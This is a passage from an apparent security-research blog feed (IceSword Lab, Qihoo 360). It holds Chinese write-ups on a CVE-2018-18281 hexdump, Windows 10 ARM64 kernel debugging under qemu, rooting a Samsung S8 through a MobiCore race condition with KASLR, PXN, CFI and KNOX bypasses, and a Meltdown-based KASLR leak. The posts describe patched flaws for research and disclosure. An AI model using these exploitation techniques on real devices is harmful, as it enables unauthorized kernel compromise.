class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">adb pull /system/lib64/libandroid_runtime.so</span><br><span class="line"></span><br><span class="line">root@jiayy:CVE-2018-18281<span class="comment"># xxd -s 0x157000 -l 100 libandroid_runtime.so </span></span><br><span class="line">00157000: 0000 20d4 0000 20d4 600c 8092 0100 0090 .. ... .`.......</span><br><span class="line">00157010: 2120 0191 0200 80d2 0807 80d2 0100 00d4 ! ..............</span><br><span class="line">00157020: ff03 02d1 e103 0091 0210 80d2 e807 80d2 ................</span><br><span class="line">00157030: 0100 00d4 e103 00aa e003 0091 2814 80d2 ............(...</span><br><span class="line">00157040: 0100 00d4 0000 0014 2f70 726f 632f 7365 ......../proc/se</span><br><span class="line">00157050: 6c66 2f61 7474 722f 6375 7272 656e 7400 lf/attr/current.</span><br><span class="line">00157060: eaff ff17 ....</span><br></pre></td></tr></table></figure><h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><ul><li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1695" target="_blank" rel="noopener">mremap TLB flush too late with concurrent ftruncate</a></li><li><a href="https://googleprojectzero.blogspot.com/2019/01/taking-page-from-kernels-book-tlb-issue.html" target="_blank" rel="noopener">Taking a page from the kernel’s book: A TLB issue in mremap</a></li><li><a href="http://140.120.7.21/LinuxRef/mmLinux/VmOutline/pagecache.html" target="_blank" rel="noopener">Swapping and the Page Cache</a></li><li><a href="https://lkml.org/lkml/2018/11/2/423" target="_blank" rel="noopener">patch 讨论</a></li></ul>]]></content>
<summary type="html">
<p>author: <a href="mailto:chengjia4574@gmail.com">chengjia4574@gmail.com</a> of IceSword Lab , Qihoo 360</p>
<h2 id="简介"><a href="#简介" clas
</summary>
</entry>
<entry>
<title>开启Win10RS4ARM64远程内核调试之旅</title>
<link href="http://yoursite.com/2018/07/25/kdhack/"/>
<id>http://yoursite.com/2018/07/25/kdhack/</id>
<published>2018-07-25T10:06:40.000Z</published>
<updated>2025-07-16T10:02:19.301Z</updated>
<content type="html"><![CDATA[<h2 id="author-wup-and-suezi-of-IceSword-Lab-Qihoo-360"><a href="#author-wup-and-suezi-of-IceSword-Lab-Qihoo-360" class="headerlink" title="author : wup and suezi of IceSword Lab , Qihoo 360 "></a>author : wup and suezi of IceSword Lab , Qihoo 360 </h2><p><span id="top"></span><br>  今年6月,微软联合一线笔记本厂商正式发布了搭载高通骁龙处理器的Windows 10笔记本产品。作为主角的Win10 ARM64,自然亮点无数,对PC设备厂商也是各种利好。实际上,为了与厂商同步发布安全防护产品,IceswordLab的小伙伴早已将底层驱动程序集移植到了Win10 ARM64平台上,笔者也因此积累了一些有趣的内核调试方法。在x86平台使用vmware等虚拟机软件搭建远程内核调试环境是非常方便有效的办法,但目前Win10 ARM64平台没有这样的虚拟机软件,于是笔者利用qemu模拟器DIY一个。</p><h2 id="0x0-准备试验环境"><a href="#0x0-准备试验环境" class="headerlink" title="0x0 准备试验环境"></a>0x0 准备试验环境</h2><p>物理机系统环境 :Windows10 RS4 x64<br>虚拟化软件qemu : qemu-w64-setup-20180519.exe<br>虚拟机系统环境 :Windows10 RS4 ARM64<br>UEFI 模块 : Linaro 17.08 QEMU_EFI.fd<br>WINDBG :WDK10 (amd64fre-rs3-16299)附带的WinDBG </p><h2 id="0x1-qemu远程内核调试开启失败"><a href="#0x1-qemu远程内核调试开启失败" class="headerlink" title="0x1 qemu远程内核调试开启失败"></a>0x1 qemu远程内核调试开启失败</h2><p>  在qemu环境下,我们使用Linaro.org网站提供的针对QEMU(AARCH64)的1708版的UEFI文件QEMU_EFI.fd启动Win10ARM64的系统,并使用bcdedit修改qemu模拟器里的Win10ARM64的启动配置以实现远程内核调试。配置如下图,<br><img src="/2018/07/25/kdhack/00.png" alt title="qemu+aarch64+debug"></p><p>我们遇到了两个问题:<br>(1) 以“-serial pipe:com_1”参数启动qemu模拟器,qemu会被卡住,导致虚拟机系统无法启动;<br>(2)无论是否开启了基于串口的远程内核调试,系统内核加载的都是kd.dll而非预期的kdcom.dll; </p><p>对于问题(1),我们利用qemu串口转发功能,开发一个代理程序:建立一个namedpipe等待windbg的连接,并建立与qemu串口socket服务器的连接,从而实现将pipe上读取(ReadFile)的数据写入(send)到socket、将socket上读取(recv)的数据写入(WriteFile)到pipe。如此我们解决了问题(1)。<br>至于问题(2),对比VMWare里用UEFI方式部署的Win10RS4x64,不开启内核调试时系统加载的是kd.dll,开启内核调试时系统加载的是kdcom.dll,下面对其进一步分析。 </p><h2 id="0x2-系统提供的kdcom-dll存在问题"><a href="#0x2-系统提供的kdcom-dll存在问题" class="headerlink" title="0x2 系统提供的kdcom.dll存在问题"></a>0x2 系统提供的kdcom.dll存在问题</h2><p>  在Win10RS4ARM64安装镜像的预置驱动里,无法找到serial.sys这个经典的串口驱动;而Win10ARM64笔记本的串口设备是存在的,且串口驱动是高通官方提供的。实际上通过串口远程调试windows,系统正常的启动过程中,调试子系统的初始化是早先于串口驱动程序,调试子系统调用kdcom.dll提供的功能,并不需要串口驱动程序的支持。因此微软没有为Win10RS4ARM64提供串口驱动serial.sys,对我们最终的目标没有影响。 </p><p>那么问题究竟出在哪里呢?是因为Loader所使用的Qemu中的UEFI有问题吗? </p><p>对照qemu的源码可知,qemu为aarch64模拟器环境提供了串口设备PL011。我们研究了Linaro UEFI的源码EDK2并编译了对应的UEFI文件,确保使用的UEFI文件确实提供了串口功能。再用与Win10ARM64模拟器同样的配置安装了Ubuntu for ARM,在这个模拟器里PL011串口通信正常,串口采用MMIO,其映射的基址为0x09000000。但安装Win10后问题依旧:以基于串口的远程内核调试的启动配置来启动Win10RS4ARM64,系统加载的是kd.dll而非期望的kdcom.dll,故而推测是winload 没有识别PL011串口设备、没能去加载kdcom.dll。由此,我们决定直接将kdcom.dll替换kd.dll来使用。不过使用kdcom.dll替换kd.dll后出现了新的问题——系统引导异常,下面进一步分析其原因。 </p><p>kdcom!KdCompInitialize是串口初始化的关键函数,分析它是如何初始化并使用串口设备的。系统第一次调用kdcom!KdInitialize初始化串口时,传递给KdCompInitialize的第二个参数LoaderBlock是nt!KeLoaderBlock,非NULL,此时kdcom!KdCompInitialize里的关键流程如下:<br>(1) HalPrivateDispatchTable->KdEnumerateDebuggingDevices已被赋值为hal!HalpKdEnumerateDebuggingDevices,调用返回0xC0000001;<br>(2) 串口处理器UartHardwareDriver为NULL,没有被赋值;<br>(3) HalPrivateDispatchTable->KdGetAcpiTablePhase0已被赋值为hal!HalAcpiGetTable,<br>调用HalAcpiGetTable(loaderBlock, ‘2GBD’)返回NULL,<br>调用HalAcpiGetTable(loaderBlock, ‘PGBD’)返回NULL,<br>因此gDebugPortTable为NULL;<br>(4) 参数LoaderBlocker非NULL且gDebugPortTable为NULL,调用GetDebugAddressFromComPort来配置串口地址;<br>GetDebugAddressFromComPort调用nt!KeFindConfigurationEntry失败,按照既定策略,基于DebugPortId的值指派串口地址(DebugPort.Address)为0x3F8/0x2F8/0x3E8/0x2E8/0x00五者之一;<br>(5) 由于gDebugPortTable为NULL,串口处理器UartHardwareDriver赋值为Uart16550HardwareDriver;<br>由于串口地址(DebugPort.Address)非NULL,调用串口初始化函数UartHardwareDriver->InitializePort初始化串口;<br>模拟器提供的串口设备为PL011, 串口处理器应被赋值为是PL011HardwareDriver 而非Uart16550HardwareDriver; </p><p>至此,我们发现导致异常的原因: 模拟器提供的是PL011串口设备, kdcom.dll虽提供了支持PL011的代码,但未能正确识别适配,依然把它当成了PC的isa-serial串口设备。这应属于kdcom.dll的bug。 </p><h2 id="0x3-开启qemu远程内核调试"><a href="#0x3-开启qemu远程内核调试" class="headerlink" title="0x3 开启qemu远程内核调试"></a>0x3 开启qemu远程内核调试</h2><p>  现在看来,我们需要解决的问题有两个:系统Loader仅加载不支持远程内核调试的kd.dll,系统模块kdcom.dll没能完全支持PL011串口设备。 </p><p>对于第一个问题,我们简单采取文件替换的办法绕过它。<br>对于第二个问题,预期可以使用这样的办法解决:开发一个boot类型的驱动,让它能够加载kdcom.dll并主动修正kdcom.dll中所有相关数据,对内核映像Ntoskrnl.exe执行IATHook——把导入地址表中的kd.dll函数地址全部替换成kdcom.dll对应函数地址,最后执行nt!KdInitSystem来初始化调试子系统。这种方案篡改内核数据后,会很快触发PatchGuard蓝屏,因此我们需要设计出一个更可用的方案。 </p><p>我们可以开发一个能够实现远程内核调试所需的串口通信功能的dll(即没有BUG的kdcom.dll)来替换系统目录下kd.dll,在“禁用驱动程序强制签名”的场景下实现对操作系统初始化流程的劫持。 </p><p>微软给WINDBG的安装包捆入了一个名为KdSerial的示例项目。这个项目缺少了一些代码,但是关键的部分都在。通过笔者的改造,成功编译得到一个kdserial.dll,它拥有远程内核调试所需的串口通信功能和正确的PL011串口配置,能够替代Win10ARM64RS4系统里的kdcom.dll。将这个kdserial.dll替换系统里的kd.dll,开机时选择“启动设置”菜单里的“禁止驱动程序强制签名”,达成远程内核调试Win10RS4ARM64的目标。 </p><p><img src="/2018/07/25/kdhack/01.png" alt title="qemu+aarch64+win10rs4+windbg"></p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p>[1] Windows Internals 6th<br>[2] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--dbgsettings<br>[3] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcd-boot-options-reference<br>[4] https://wiki.linaro.org/LEG/UEFIforQEMU<br>[5] https://blog.csdn.net/iiprogram/article/details/2298550 </p>]]></content>
<summary type="html">
<h2 id="author-wup-and-suezi-of-IceSword-Lab-Qihoo-360"><a href="#author-wup-and-suezi-of-IceSword-Lab-Qihoo-360" class="headerlink" title="
</summary>
</entry>
<entry>
<title>利用一个竞态漏洞root三星s8的方法</title>
<link href="http://yoursite.com/2018/04/20/samsung-root/"/>
<id>http://yoursite.com/2018/04/20/samsung-root/</id>
<published>2018-04-20T00:00:00.000Z</published>
<updated>2025-07-16T10:02:19.296Z</updated>
<content type="html"><![CDATA[<p>author : <a href="http://weibo.com/spinlock2014" target="_blank">zjq(@spinlock2014)</a> of IceSword Lab , Qihoo 360</p><hr><p><span id="top"></span></p><p>  在安卓阵营中,三星手机可以说是最重视安全的了,各种mitigation技术都是早于官方系统应用到自己手机上,并且加入了KNOX技术,在内核层设置了重重校验,提高了手机root难度。17年下半年,研究过一段时间三星手机s8的内核安全问题,发现了一些比较有意思的漏洞。本文中,将介绍一个race condition漏洞,利用此漏洞绕过KALSR,PXN,CFI,KNOX2.8等拿到了s8内核root权限。目前这些漏洞都已经被修复。</p><h2 id="0x0-MobiCore驱动的提权漏洞-回页首"><a href="#0x0-MobiCore驱动的提权漏洞-回页首" class="headerlink" title="0x0 MobiCore驱动的提权漏洞 回页首"></a>0x0 MobiCore驱动的提权漏洞 <a href="#top">回页首</a></h2><p><span id="overview"></span></p><p>  在MobiCore驱动中,ioct的MC_IO_GP_REGISTER_SHARED_MEM接口会从slab中分配一块cwsm buffer,MC_IO_GP_RELEASE_SHARED_MEM接口用来释放cwsm buffer和相关资源。但是在释放过程中,由于没有加锁,存在race condition进而导致double free的可能:</p><p><img src="/2018/04/20/samsung-root/0.png" alt> </p><p>  看此函数的实现,首先从链表中查找获取该内存块,并将引用计数加1以持有该cwsm buffer。然后通过连续两个cwsm_put函数减去引用计数并释放cwsm buffer。cwsm_put的实现是引用计数减1,然后检查引用计数是否为0,如果为0,则执行cwsm_release函数释放cwsm,如下所示:<br><img src="/2018/04/20/samsung-root/1.png" alt><br>  正常情况下,创建该buffer时引用计数被设为1,cwsm_find查找该buffer时引用计数加1,第一个cwsm_put调用减去cwsm_find持有的引用计数,然后第二个cwsm_put将引用计数减为0,并调用cwsm_release释放资源。<br>但在client_gp_release_shared_mem函数中,由于cwsm_find和两个cwsm_put之间并未加锁保护,使获取cwsm和释放cwsm不是原子操作,当race condition发生时,多个线程在cwsm被释放前调用cwsm_find获取该buffer后,接下来的多次cwsm_put调用则可以触发对cwsm的double free。</p><p>  我们再看cwsm_release这个函数,还是比较复杂的:<br><img src="/2018/04/20/samsung-root/2.png" alt><br>其中,cwsm的结构为:<br><img src="/2018/04/20/samsung-root/3.png" alt> </p><p>  仔细分析cwsm_release函数,我们会发现,这个函数中当race condition发生时, tee_mmu_delete(cwsm->mmu) 会造成cwsm->mmu 的double free, client_put(client) 会造成cwsm->client的double free,最后kfree(cwsm) 也会造成cwsm的double free。三个大小不一的slab内存块同时double free,极易引起内核崩溃,除非我们在cwsm第一次被释放后占住该内存,从而控制内存中内容,改变第二次执行此函数中的流程。而list_del_init(&cwsm->list)这一句:<br><img src="/2018/04/20/samsung-root/4.png" alt><br><img src="/2018/04/20/samsung-root/5.png" alt><br>如果我们可以控制cwsm的内容,也就是list->next 和list->prev指针的值,则可以做成一个任意地址写。</p><h2 id="0x1-利用方案-回页首"><a href="#0x1-利用方案-回页首" class="headerlink" title="0x1 利用方案 回页首"></a>0x1 利用方案 <a href="#top">回页首</a></h2><p>  从client_gp_release_shared_mem函数中可以看到,调用cwsm_find获得buffer和调用cwsm_put释放buffer时间间隙极小,如何能提高race condition的成功率,有效控制指针,并能尽可能的降低崩溃率呢?通过对slab中内存分配释放机制的分析,主要采用了几下几个方法:</p><ol><li>如何增加race condition成功率呢?kmalloc在slab中分配内存块会记录下本线程所在核,kfree释放内存时,如果判断当前线程所在核与分配内存时的所在核一致,则将内存释放到快速缓存链表freelist中,这样当其他线程分配相同大小的内存块时能快速取到,这样可以增加释放后马上占位的成功率;如果释放时判断当前线程所在核与分配内存时的所在核不一致,则将内存释放到page->freelist中,当其他线程分配内存时,缓存链表中内存耗尽后,才会从此链表中取用,因为时间间隙很小,这会降低占位成功率。所以分配slab内存,释放内存,占位内存的线程最好在同一个核上。假设有0,1,2三个核,线程A在0核上分配了buffer,线程B在0核上释放buffer,同时为了制造race condition需要线程C在1核上释放buffer,同时线程D在0核上,可以调用add_key系统调用来占用线程B释放掉的内存块,并填上我们需要的内容。当然这实际调试中,因为race condition间隙很小,可能需要几个甚至几十几百个线程同时操作来增加成功率。同时,因为race condition间隙很小,可以在0核上增加大量打酱油线程,使其在race condition间隙中获得调用机会,以增大时间间隙,提高占位的成功率;</li><li>我们在cwsm double free的第一次释放后将其占住,那么就可以控制其中的内容,填上我们需要的值,因此我们可以将cwsm->list.next设为一个内核地址,利用list_del_init(&cwsm->list)再调用__list_del,可以实现内核地址写,比如将ptmx->check_flags 设置为我们需要的函数指针;</li><li>当race condition发生时,多个线程调用cwsm_release时,大小不同的slab块cwsm->mmu,cwsm->client和cwsm都会被重复释放,在此情况下,内核大概率会崩。因此,当cwsm第一次释放,我们占住后,需要将cwsm->client和cwsm->mmu填上合适的值,防止内核崩溃。我们先看client_put(client) 函数:<br><img src="/2018/04/20/samsung-root/6.png" alt> </li></ol><p>  这个函数首先引用计数client->kref减1,如果为0,则调用client_release释放资源。因此我们可以将client->kref设为大于1的值,防止cwsm->client被二次释放。<br>再看tee_mmu_delete(cwsm->mmu),这一句比较麻烦,它将调用mmu_release函数,看内部实现(片段):<br><img src="/2018/04/20/samsung-root/7.png" alt><br><img src="/2018/04/20/samsung-root/8.png" alt> </p><p>可以看到,mmu_release 不仅要释放mmu,并且要引用mmu中指针。如果我们能控制cwsm->mmu,那么我们必须将cwsm->mmu设为一个合法的slab地址,并且能够控制这个slab中的内容,否则系统将崩溃。幸运的是,我们找到了一个信息泄露漏洞:<br><img src="/2018/04/20/samsung-root/9.png" alt><br>/sys/kernel/debug/ion/event文件将泄露ion中分配的ion_buffer的地址。我们可以利用ion接口分配大量ion_buffer,然后在泄露的地址中查找到连续8k大小(cwsm->mmu的大小)的ion_buffer内存。然后在ion中占住这一块内存不释放,将其地址填到cwsm->mmu中,使mmu_release释放此内存块,但因为我们在ion中此内存占住不释放不使用,所以即使被别人重新获得,也可避免内核崩溃。</p><h2 id="0x2-Bypass-KALSR-回页首"><a href="#0x2-Bypass-KALSR-回页首" class="headerlink" title="0x2 Bypass KALSR 回页首"></a>0x2 Bypass KALSR <a href="#top">回页首</a></h2><p>Android 8.0之后安卓手机普遍启用了内核地址随机化,而三星手机启用的要更早一些。此漏洞本身泄露内核地址比较困难,所以还需要一个信息泄露漏洞。debugfs 文件系统一直是比较容易出问题的,我们尝试着用简单指令测试了一下:find /sys/kernel/debug | xargs cat,片刻之后,屏幕上打印出了如下信息:<br><img src="/2018/04/20/samsung-root/10.png" alt><br>经过分析,这是/sys/kernel/debug/tracing/printk_formats文件所泄露出来的地址,有些函数地址,比如dpm_suspend,此地址加上一个固定的偏移量即可得到内核启动后的真实函数地址。经过fuzz发现,类似的信息泄露不止一处。</p><h2 id="0x3-Bypass-PXN-amp-amp-CFI-回页首"><a href="#0x3-Bypass-PXN-amp-amp-CFI-回页首" class="headerlink" title="0x3 Bypass PXN && CFI 回页首"></a>0x3 Bypass PXN && CFI <a href="#top">回页首</a></h2><p>我们曾在16年mosec会议上介绍过几种过PXN方法。其中一个方法是,将函数指针kernel_setsockopt覆盖到ptmx_fops->check_flags,然后通过控制第一个参数跳转,绕过set_fs(oldfs)语句,当函数执行完,本进程addr_limit被设为0xffffffffffffffff,此时我们可以在用户态通过一些系统调用直接读写内核数据。<br><img src="/2018/04/20/samsung-root/11.png" alt><br>然而在s8上使用此方法时确出现了系统崩溃,仔细检查s8的kernel_sock_ioctl汇编代码时,发现跳转指令改变了,跳转到寄存器的指令改成的直接跳转到固定地址0xffffffc000c56f6c的指令:<br><img src="/2018/04/20/samsung-root/12.png" alt><br>下面看看跳转到0xffffffc000c56f6c这个地址干了些什么:<br><img src="/2018/04/20/samsung-root/13.png" alt><br>如上代码,实际上是对跳转地址做了检查,如果跳转到的地址的上一条语句是0x00be7bad,则认为是合法地址,执行跳转,如果不是则认为是非法地址,执行一条非法语句导致内核崩溃。为什么必须要上一条语句是0x00be7bad呢?原来s8在编译时每一个函数结尾都加上了一句0x00be7bad作为标记,如果上一条语句是0x00be7bad,则表明这个地址是函数的起始地址,否则不是。也就是说,在每一个跳转到寄存器地址之前都要检查地址是否为函数的起始地址,否则非法。<br>虽然此路不通,但是另外一个办法还是可以的。我们找到了一个比较好用的bug,在s2mm005_flash函数中有一个代码片段:<br><img src="/2018/04/20/samsung-root/14.png" alt><br>文件CCIC_DEFAULT_UMS_FW定义为:”/sdcard/Firmware/usbpd/s2mm005.bin”,由于此文件并不存在,当调用到此代码时,filp_open将返回错误,跳到done返回。可以看到错误处理中并没有恢复addr_limit。也就是当调用此函数失败时,本进程将得到读写内核的权限。<br>当然上面这个办法有赖于这个简单的bug,在错误处理中漏掉了set_fs(old_fs)的操作。如果没有这种bug怎么办呢?还是有办法的,我们在内核中找到了这样的函数:<br><img src="/2018/04/20/samsung-root/15.png" alt><br>将此函数地址,利用漏洞覆盖掉ptms_fops-> check_flags指针,当我们调用check_flags时,可以控制第一个入参,那么合理设置参数内容,可以达到读写内核的目的。</p><h2 id="0x4-KNOX2-8-amp-amp-SELinux-回页首"><a href="#0x4-KNOX2-8-amp-amp-SELinux-回页首" class="headerlink" title="0x4 KNOX2.8 && SELinux 回页首"></a>0x4 KNOX2.8 && SELinux <a href="#top">回页首</a></h2><p>三星手机为了提高手机安全性,加入了KNOX,使内核利用难度大大加强。这里简单介绍一下KNOX2.8在内核中主要实现的特性:</p><ol><li><p>与root相关的关键数据,比如cred,页表项等需要在特定内存中分配,此内存中通用cpu端被设为只读,当需要修改时,则发送指令通过TrustZone进行修改;</p></li><li><p>在调用rkp_call让TrustZone执行命令时,TrustZone同样将对数据完整性进行校验,比如commit_creds函数在创建cred后,调用rkp_call时,TrustZone会检查本进程credential是否在只读内存区,检查本进程id是否大于1000,如果大于1000则不能将新创建的credential修改为小于1000的值,这也使得通过调用rkp_override_creds来修改credential用户id的办法不再有效;</p></li><li><p>在SELinux原有权限管理基础上,增加了额外的完整性校验,这几乎影响所有系统调用接口。以open系统调用为例,当打开CONFIG_RKP_KDP配置项时,增加了security_integrity_current的校验:<br><img src="/2018/04/20/samsung-root/16.png" alt><br><img src="/2018/04/20/samsung-root/17.png" alt><br>可以看到,在security_integrity_current这个函数里,将校验:进程描述符中cred和security是否在只读内存区分配,bp_cred与cred是否一致(防止被修改),bp_task是否就是本进程,mm->pgd和cred->bp_pgd是否一致,current->nsproxy->mnt_ns->root和current->nsproxy->mnt_ns->root->mnt->bp_mount是否一致。如果其中某一项关键数据被修改而导致检验不通过,则导致系统产生panic,并打印出错误信息;</p></li><li><p>在load_elf_binary -> flush_old_exec函数中增加校验,如果进程为id小于1000,为内核进程,并且load的二进制文件及不再”/”目录又不在”/system”目录下则内核panic。<br><img src="/2018/04/20/samsung-root/18.png" alt><br>这使得利用用户态调用__orderly_poweroff函数在内核中创建内核线程的方法将被阻止;KNOX还在内核其他地方加入了大量的检验。</p></li></ol><p>KNOX的加入,使得以前常用的一些修改credential 用户id去root办法都比较难办了。随着KNOX版本的迭代,势必会对内核的保护越来越强化。但是就笔者当时研究的KNOX2.8而言,依然还有一些弱点可供利用,进而拿到root权限,读写高权限文件,起内核shell等。</p><p>前面提到,KNOX限制root的一个措施就是在大部分系统调用中,都会进行数据完整性校验,如果我们将进程credential修改非只读区,则会校验失败。这些校验函数都是挂接在全局变量security_hook_heads下面,比如open系统调用会调用security_hook_heads下挂的file_open钩子函数,最后调用到selinux_file_open进行权限和数据完整性校验。但是security_hook_heads这个全局变量却是可读写的,我们可以利用漏洞读写内核,将此变量下面挂的钩子函数有选择的设置为NULL,不仅可以绕过该校验,还可以绕过SELinux的检查。比如,我们可以把本进程credential设置为替换为一块可读写内存,将id修改为root用户,同时将和读写相关的校验函数设为NULL。这样可以用root用户稳定的读写系统中高权限文件。进行其他操作时,也可以通过禁用相关校验函数绕过校验,当然这种方法有些简单粗暴,需要小心使用,因为这些校验函数有些和系统耦合紧密,如果不小心很容易引起系统crash,操作完成后应该尽快恢复。在KNOX之前版本中,有研究员曾经通过调用__orderly_poweroff函数,可以利用内核起一个root进程,绕过了commit_creds中的校验,但是KNOX2.8中在load_elf_binary中增加了对用户id和binary路径的校验。然而我们发现,虽然load_elf_binary增加了此校验,但是load_script中却没有加上这个校验,这就意味着,虽然我们不能在内核中加载自己的binary,但是可以起一个root脚本进程,在脚本中进行我们需要的操作。</p><h2 id="总结:-回页首"><a href="#总结:-回页首" class="headerlink" title="总结: 回页首"></a>总结: <a href="#top">回页首</a></h2><p>本文介绍了如何利用一个s8中race condition驱动漏洞,一步步绕过KALSR,PXN,CFI,KNOX2.8等mitigation机制,拿到root权限,读写高权限文件,并在内核中起一个shell进程。三星在内核加固方面下了很大功夫,KNOX的引入显著提高了root的难度,随着后面版本的不断迭代,对内核的加固会越来越强,值得持续的跟踪研究。</p>]]></content>
<summary type="html">
<p>author : <a href="http://weibo.com/spinlock2014" target="_blank">zjq(@spinlock2014)</a> of IceSword Lab , Qihoo 360</p>
<hr>
<p><span id=
</summary>
</entry>
<entry>
<title>A Kernel Vulnerability Detection Framework based on Hardware</title>
<link href="http://yoursite.com/2018/04/09/A-Kernel-Vulnerability-Detection-Framework-based-on-Hardware/"/>
<id>http://yoursite.com/2018/04/09/A-Kernel-Vulnerability-Detection-Framework-based-on-Hardware/</id>
<published>2018-04-09T17:50:40.000Z</published>
<updated>2025-07-16T10:02:19.277Z</updated>
<content type="html"><![CDATA[<p>author : Jianfeng Pan, Guanglu Yan, and Xiaocao Fan, IceSword Lab, 360 Internet Security Center</p><h2 id="2018补天白帽大会-PPT"><a href="#2018补天白帽大会-PPT" class="headerlink" title="2018补天白帽大会 PPT"></a>2018补天白帽大会 PPT</h2><h2 id="English"><a href="#English" class="headerlink" title="English"></a>English</h2><p><a href="http://www.iceswordlab.com/2018/04/09/A-Kernel-Vulnerability-Detection-Framework-based-on-Hardware/en.pptx" target="_blank"> A Kernel Vulnerability Detection Framework based on Hardware</a></p><h2 id="Chinese"><a href="#Chinese" class="headerlink" title="Chinese"></a>Chinese</h2><p><a href="http://www.iceswordlab.com/2018/04/09/A-Kernel-Vulnerability-Detection-Framework-based-on-Hardware/cn.pptx" target="_blank"> 基于硬件辅助的内核漏洞挖掘框架</a></p>]]></content>
<summary type="html">
<p>author : Jianfeng Pan, Guanglu Yan, and Xiaocao Fan, IceSword Lab, 360 Internet Security Center</p>
<h2 id="2018补天白帽大会-PPT"><a href="#201
</summary>
</entry>
<entry>
<title>随笔(二):全补丁下再次利用CPU漏洞攻破KASLR</title>
<link href="http://yoursite.com/2018/02/06/meltdown/"/>
<id>http://yoursite.com/2018/02/06/meltdown/</id>
<published>2018-02-06T19:22:40.000Z</published>
<updated>2025-07-16T10:02:19.276Z</updated>
<content type="html"><![CDATA[<p>author : https://weibo.com/jfpan</p><p>  12月初微博提到微软RS4的内核修改,介绍了其KVA Shadowing方案消除了多种已知硬件边信道攻击,无意中成了当时尚未公开的meltdown CPU漏洞补丁的最早(?)粗略分析。漏洞公布后本想补充写个详细分析的blog,但忙于保障部门驱动与补丁的兼容性故而推迟。几天后发现网上已经遍布翻译的、原创的meltdown/spectre相关文章,再写重复的内容就没什么意义了。所以这篇blog主要是写一些大家没有提到的内容。</p><p>  之前短文提到了操作系统抵御meltdown的方案是用户态使用另一份不映射内核绝大多数地址空间的页表(Windows上的KVA Shadowing和Linux上的KPTI,它们源自KAISER),那么已有方案是否完美呢?答案是否定的,下面以微软补丁方案为例介绍一个导致全补丁下KASLR Bypass的简单缺陷。(注意虽说原理极为简单,但为了确认是否能公开,两周前已将缺陷报给了MSRC,刚得到微软确定答复。小小吐槽一下,微软认为其威胁不大、不归于漏洞这点在意料之中,但给的理由又是常用的一个:“This is by design”,给人的感觉就是专门留下这点设计来废掉KASLR,其实KAISER原本就是设计用于防止针对KASLR的边信道攻击,本质上还是算方案设计有遗漏)</p><p>  言归正传,这个缺陷的原理在于KVA Shadowing虽然不在用户态映射绝大多数内核地址空间,但为了保证应用层、内核层之间能正常切换,依然必须有少量的内核代码与数据映射在用户层的页表中。比如,我们可以看到在补丁生效时的syscall入口KiSystemCall64Shadow并不在.text节里,而是和KiDivideErrorFaultShadow等中断处理入口一起放入了KVASCODE节,该节内容集中放置了CPU状态转换时所需的切换页表的代码,其必须映射在用户态的Shadow address space。同理,KPCR这样的重要数据区也是被映射的。前述代码数据区域虽被映射,但地址是随机的。那么有没有既必须被映射、又能被用户层知晓位置的重要数据呢?不幸的是在目前的设计下存在这样的数据区:IDT与GDT(未使用UMIP时用户层可获取地址)。其中IDT中有各个中断处理函数在前述的KVASCODE节中,可通过meltdown的攻击方法在打完全补丁(包括meltdown/spectre补丁)下直接泄露NT内核模块地址。不过并不是指定内核地址随意使用meltdown攻击就能轻易读出内容,看起来内核地址所存储的数据需要在L1缓存中Meltdown攻击才更有可能成功,因此可以使用prefetch指令去预读,不过实验中找一些实际触碰目标内存的操作成功率会大一些,例如:读取IDT内容前故意触发一个中断,读取GDT前如下修改段寄存器内容使CPU访问GDT数据填入段寄存器的影子寄存器:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">mov ax, es</span><br><span class="line">push rax</span><br><span class="line">mov ax, fs</span><br><span class="line">mov es, ax ; Let cpu touch GDT.</span><br><span class="line">pop rax</span><br><span class="line">mov es, ax</span><br></pre></td></tr></table></figure><p>  实验中IDT内容的读取相对不那么稳定,不过通过阈值的调整在笔者多台机器上可正确获取NT内核模块地址。PoC代码就不贴出了,简单原理已经说清楚了,附图中是读取IDT(中断处理函数)。</p><p>  要修补该缺陷也很简单,对支持UMIP(User-Mode Instruction Prevention)的CPU可直接使用该特性;更通用的方案则是将中断处理入口改为随机化地址同时又映射在user shadow address space的代码片段中,该段代码切换页表后跳转至nt内核中实际处理函数(为防止理论上攻击者可读取该段代码内容分析出跳转目标地址,可使最后跳转指令在未被映射到user的页面上,或者读取未被映射到user的数据区中的内容间接跳转)。<br><img src="/2018/02/06/meltdown/1.png" alt> </p>]]></content>
<summary type="html">
<p>author : https://weibo.com/jfpan</p>
<p>&emsp;&emsp;12月初微博提到微软RS4的内核修改,介绍了其KVA Shadowing方案消除了多种已知硬件边信道攻击,无意中成了当时尚未公开的meltdown CPU漏洞补丁的最早(
</summary>
</entry>
<entry>
<title>随笔</title>
<link href="http://yoursite.com/2017/12/rs4_dual_cr3/"/>
<id>http://yoursite.com/2017/12/rs4_dual_cr3/</id>
<published>2017-12-05T18:06:40.000Z</published>
<updated>2025-07-16T10:02:19.275Z</updated>
